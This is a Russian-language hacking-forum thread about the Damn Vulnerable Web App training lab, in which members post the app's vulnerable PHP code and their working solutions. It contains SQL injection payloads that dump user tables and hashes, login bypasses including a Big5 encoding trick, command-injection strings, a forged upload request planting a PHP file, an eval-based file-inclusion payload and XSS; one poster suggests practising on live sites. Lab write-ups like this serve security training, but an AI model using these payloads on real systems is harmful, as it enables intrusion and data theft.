Damn Vulnerable Web App. Тренировочная площадка.

Discussion in 'Уязвимости' started by b3, 16 Jul 2009.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Это веб-приложение - тренировочная площадка для испытания и совершенствования своих навыков в поиске и использовании веб-уязвимостей.
    Имеет три уровня безопасности(сложности).
    Поддерживает следующие виды атак:
    *SQL Injection
    *XSS (Cross Site Scripting)
    *LFI (Local File Inclusion)
    *RFI (Remote File Inclusion)
    *Command Execution
    *Upload Script
    *Login Brute Force
    *и многие другие..

    Для использования необходим вебсервер + база данных MySQL
    Видео с наиподробнейшим описанием и инструкцией можно посмотреть здесь: http://www.youtube.com/watch?v=GzIj07jt8rM
    Подробности на оф.сайте: http://www.ethicalhack3r.co.uk/
    Скачать dvwa v1.0.4: dvwa v1.0.4: http://sourceforge.net/projects/dvwa
     
    6 people like this.
  2. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    Если не ошибаюсь это поддельный вебсервер для поиска бага. Вот готовые тест сайты для пентеста и проверки своих навыков:
    SPI Dynamics (live) - http://zero.webappsecurity.com/
    Cenzic (live) - http://crackme.cenzic.com/
    Watchfire (live) - http://demo.testfire.net/
    Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com
    WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven
    Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp
    Updated HackmeBank - http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
    OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project
    OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator
    Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/
    SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/
     
  3. r00nix

    r00nix Banned

    Joined:
    7 May 2009
    Messages:
    48
    Likes Received:
    20
    Reputations:
    0
    ТС, ты бы еще сюда ссылки на игровые образы CTF выложил :) пусть народ потренируется
     
  4. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    для тех кто пытался проходить...
    1) уровень "Low"->Brute force
    Code:
    $user=$_GET['username'];
    $pass=$_GET['password'];              
    $pass = md5($pass);
    $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
    
    Обошел так:
    логин: admin'#
    пароль: можно оставить пустым, так как уязвим только логин.
    Вопрос: почему не сработало admin'--+ (в качестве тренировочной площадки - денвер)

    уровень "Medium"->Brute force
    Code:
    $user = $_GET['username'];              
    $user = mysql_real_escape_string($user);
    $pass=$_GET['password'];
    $pass = mysql_real_escape_string($pass);
    $pass = md5($pass);
    $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
    
    Опять же уязвимость в поле логин.
    Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?
     
  5. Nik(rus)

    Nik(rus) Member

    Joined:
    19 Jun 2009
    Messages:
    45
    Likes Received:
    7
    Reputations:
    0
    It's easy
    В SQL-Inj на medium:

    Code:
    -1 UNION SELECT 1,2 /*
    1 и 2 подставляем как хотим, а вместо строк узаем HEX
     
  6. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Функция mysql_real_escape_string() экранирует кавычки, поэтому выполнить обход авторизации нельзя.
     
  7. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?
     
  8. ficrowns

    ficrowns Member

    Joined:
    25 Mar 2009
    Messages:
    43
    Likes Received:
    5
    Reputations:
    4
    кому интересно - существует ещё Damn Vulnerable Linux :)
    damnvulnerablelinux.org
     
  9. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Он просто не совсем полностью выложил скуль:
    И получаем всех юзверов.

    В Command Execution на Лов лвл, можно юзать дополнительно команды, разделяя их как в Линуксе так и в Винде амперсандами, пример:
    На выходе получаем пинг, переход в диск Ц, и список файлов и папок. Ну а дальше от фантазии зависит.

    ЗЫ Доступна версия 1.0.6, давайте не спим делимся опытом, кто что нашел интересного, я только начал.
     
  10. Nik(rus)

    Nik(rus) Member

    Joined:
    19 Jun 2009
    Messages:
    45
    Likes Received:
    7
    Reputations:
    0
    Вот как я ломал :)

    1.Low SQL-Inj
    Code:
    -1' UNION SELECT concat_ws(0x3A,user(),version(),database()),'ololo sql :D'/*
    Узнаем инфу, дальше:
    Code:
    -1' UNION SELECT table_name,'table' FROM information_schema.tables WHERE table_schema='dvwa'/*
    Тут узнали таблицы, дальше:
    Code:
    -1' UNION SELECT column_name,'column' FROM information_schema.columns WHERE table_schema='dvwa'/*
    Так узнаем колонки, и наконец:
    Code:
    -1' UNION SELECT concat_ws(0x3A,user_id,first_name,last_name,user,password,avatar),concat('info about ',first_name,' aka ',user) FROM users/*
    Юзверята :D
    2. Low Brute
    Тут 2 пути:
    1) Через скулю (это вооонтам наверху) достаем хэши, брутим на hashcracking,gdataonline, md5.rednoise etc, благо пароли слабые
    2)
    Code:
    Логин: admin' /*
    Пасс: ололо админ школота
    Ну и угадайте что происходит :)
    3. Low Command Execution
    Code:
    127.0.0.1 && dir C:\
    Наблюдаем пинг 127.0.0.1 и листинг диска C:\
    4. Low Upload
    Code:
    No comments aka тупо льем
    5. Low File Inclusion
    Code:
    http://site/fi_content.php
    => инклудит файлы из корня

    Тут видно, что есть связка - LFI и Upload Vuln, берем сканер по хеадерам и сканим известные диры aka up, upload, uploads и находим uploads с прямым листингом :)
    6. XSS
    Code:
    </pre><script>alert('xss :D')</script><pre>some HaCkEr
    Видим тупую XSS
    7. BONUS:
    в медиум SQL-Inj:
    Code:
    -1 UNION SELECT concat_ws(0x3A,user(),version(),database()),2/*
    Вот такие пироги :)

    С последующими уровнями становится больше и больше фильтров, но как говорится на каждый замок - своя отмычка
     
  11. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Я так понял, данные вытаскиваете через SQL injection (это само собой). Я наверно не так задал вопрос: меня интересует можно ли обойти авторизацию при medium, НЕ ИСПОЛЬЗУЯ уязвимостей других разделов.
     
  12. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    можно, заюзав многобайтные кодировки big5 сотоварищи
     
  13. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    а разве mysql_real_escape_string() не учитывает кодировку?
    вот статья от raz0ra на эту тему __http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
     
  14. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Проверьте сами. Если с кодировкой Big5 заюзать урл
    http://127.0.0.1/dvwa/vulnerabilities/brute/?username=%a3%27+or+1=1+limit+1%23&password=111&Login=Login#
    Получите мессагу Welcome to the password protected area
     
  15. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
    Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
    Начал с comand exec.
    Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
    Проходил на винде.
    LOW:
    Code:
    <?php
    if (isset($_POST["submit"])) {
    		$target = $_REQUEST["ip"];
    	
    		echo "<pre>";
    		echo shell_exec("ping  " . $target);
    		echo "</pre>";
    		}
    ?>
    Решение
    ip=127.0.0.1 && dir
    MED
    Code:
    <?php
    	if (isset($_POST["submit"])) {
    		$target = $_REQUEST["ip"];
    			
    		$target = str_replace("&&", "", $target);
    		$target = str_replace(";", "", $target);
    
    		echo "<pre>";
    		echo shell_exec("ping  " . $target);
    		echo "</pre>";
    		}
    ?>
    
    Решение
    Вместо && можно юзать &
    ip=127.0.0.1 & dir
    HIGH
    Code:
    <?php
    if (isset($_POST["submit"])) {
    		$target = $_REQUEST["ip"];
    	
    		$target = str_replace("&&", "", $target);
    		$target = str_replace(";", "", $target);
    		$target = str_replace("-", "", $target);
    		$target = str_replace("?", "", $target);
    		$target = str_replace("||", "", $target);
    		$target = str_replace("|", "", $target);
    		$target = stripslashes($target);
    		
    		if ($target == ""){}	
    		else{	
    		echo "<pre>";
    		echo shell_exec("ping  " . $target);
    		echo "</pre>";
    		}
    		}
    ?>
    Фильтр на & Нету. Т.Е решение то же самое что и для MED
    Посмотрел еще upload
    LOW
    без комментов
    MED
    Code:
    <?php
    	if (isset($_POST['Upload'])) {
    
    			$target_path = "uploads/";
    			$target_path = $target_path . basename($_FILES['uploaded']['name']); 
    			$uploaded_name = $_FILES['uploaded']['name'];
    			$uploaded_type = $_FILES['uploaded']['type'];
    			$uploaded_size = $_FILES['uploaded']['size'];
    
    			if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
    				
    
    				if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
    					echo '<pre>Your image was not uploaded.</pre>';
          				} else {
    					echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
    					} 	
    			}
    			else{
    				echo '<pre>Your image was not uploaded.</pre>';
    			}
    		}
    ?>
    Скрипт требует чтобы
    $_FILES['uploaded']['type'] был "image/jpeg".
    Решение:
    Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
    Code:
    POST /dvwa/upload.php HTTP/1.0
    User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
    Host: localhost
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://localhost/dvwa/upload.php
    Cookie: security=medium
    Cookie2: $Version=1
    Proxy-Connection: close
    Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
    Content-Length: 397
    
    ------------Wq88LdnEt7BT8nll12ssLT
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    ------------Wq88LdnEt7BT8nll12ssLT
    Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
    Content-Type: application/octet-stream
    
    <? phpinfo(); ?>
    ------------Wq88LdnEt7BT8nll12ssLT
    Content-Disposition: form-data; name="Upload"
    
    Upload
    ------------Wq88LdnEt7BT8nll12ssLT--
    изменяем его следующим образом:
    Code:
    POST /dvwa/upload.php HTTP/1.0
    User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
    Host: localhost
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://localhost/dvwa/upload.php
    Cookie: security=medium
    Cookie2: $Version=1
    Proxy-Connection: close
    Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
    Content-Length: 397
    
    ------------P6JvptCJ2eLEJPIrEFeNot
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    ------------P6JvptCJ2eLEJPIrEFeNot
    Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
    Content-Type: [B][COLOR=Red]image/jpeg[/COLOR][/B]
    
    <? phpinfo(); ?>
    ------------P6JvptCJ2eLEJPIrEFeNot
    Content-Disposition: form-data; name="Upload"
    
    Upload
    ------------P6JvptCJ2eLEJPIrEFeNot--
    Результат: fuck.php succesfully uploaded!

    High
    Code:
    <?php
    if (isset($_POST['Upload'])) {
    
    			$target_path = "uploads/";
    			$target_path = $target_path . basename($_FILES['uploaded']['name']); 
    			$uploaded_name = $_FILES['uploaded']['name'];
    			$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    			$uploaded_size = $_FILES['uploaded']['size'];
    
    			if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
    				
    
    				if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
    					echo '<pre>Your image was not uploaded.</pre>';
          				} else {
    					echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
    					} 	
    			}
    			else{
    				echo '<pre>Your image was not uploaded.</pre>';
    			}
    		}
    
    ?>
    Не разобрался.
    Еще пытался найти решение на sql inj
    Code:
    <?php	
    	// Retrieve data
    
    	$id = $_GET['id'];
    	$id = stripslashes($id);
    	$id = mysql_real_escape_string($id);
    
    	if (is_numeric($id)){
    
    	$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    	$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    
    	$num=mysql_numrows($result);
    
    	$i=0;
    
    	while ($i < $num) {
    
    		$first=mysql_result($result,$i,"first_name");
    		$last=mysql_result($result,$i,"last_name");
    		
    		echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";
    
    		$i++;
    	}
    	}
    ?>
    Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
    LFI/RFI не стал писать, там уж совсем просто.
     
    #15 The matrix, 6 Jan 2010
    Last edited: 6 Jan 2010
    2 people like this.
  16. alias6969

    alias6969 Member

    Joined:
    3 Apr 2011
    Messages:
    27
    Likes Received:
    11
    Reputations:
    6
    Напишу тут пару моментов, вдруг будет интересно.

    Файл-инклуд на med можно так:
    ?page=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

    XSS storaged на med - расширить уязвимое поле с именем и туда вставить js без тега <script>.

    Exec med так:
    127.0.x.1 || dir
    127.0.0.1 & dir

    Потому что admin' -- , это не адресная строка, чтобы пробел заменять +.
    На med не знаю, как сделать.

    CSRF med - реферер спуфинг.

    На high, на мой взгляд, там ничего не уязвимо.

    Ну и да, извините за раскопки.
     
    #16 alias6969, 10 Dec 2011
    Last edited: 10 Dec 2011
  17. Vladislav88

    Vladislav88 New Member

    Joined:
    5 Dec 2011
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    Когда я в dvwa захожу с 5 разных юзеров то мне от всех приходят одинаковые куки. А я хотел бы попробовать как это подменять куки. Когда я меняю phpsesionid то я остаюсь под тем же юзером. В dvwa вообще возможно подменить куки?
     
  18. G.H.O.S.T.

    G.H.O.S.T. New Member

    Joined:
    18 Apr 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Товарищи Хактивисты! А кто-нибудь прошёл SQL inj и XSS Restored на high? А то функция htmlspecialchars убивает все мои надежды в плане XSS(((
     
  19. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Выложи сюда код
     
  20. G.H.O.S.T.

    G.H.O.S.T. New Member

    Joined:
    18 Apr 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    XSS Reflected
    SQL Inj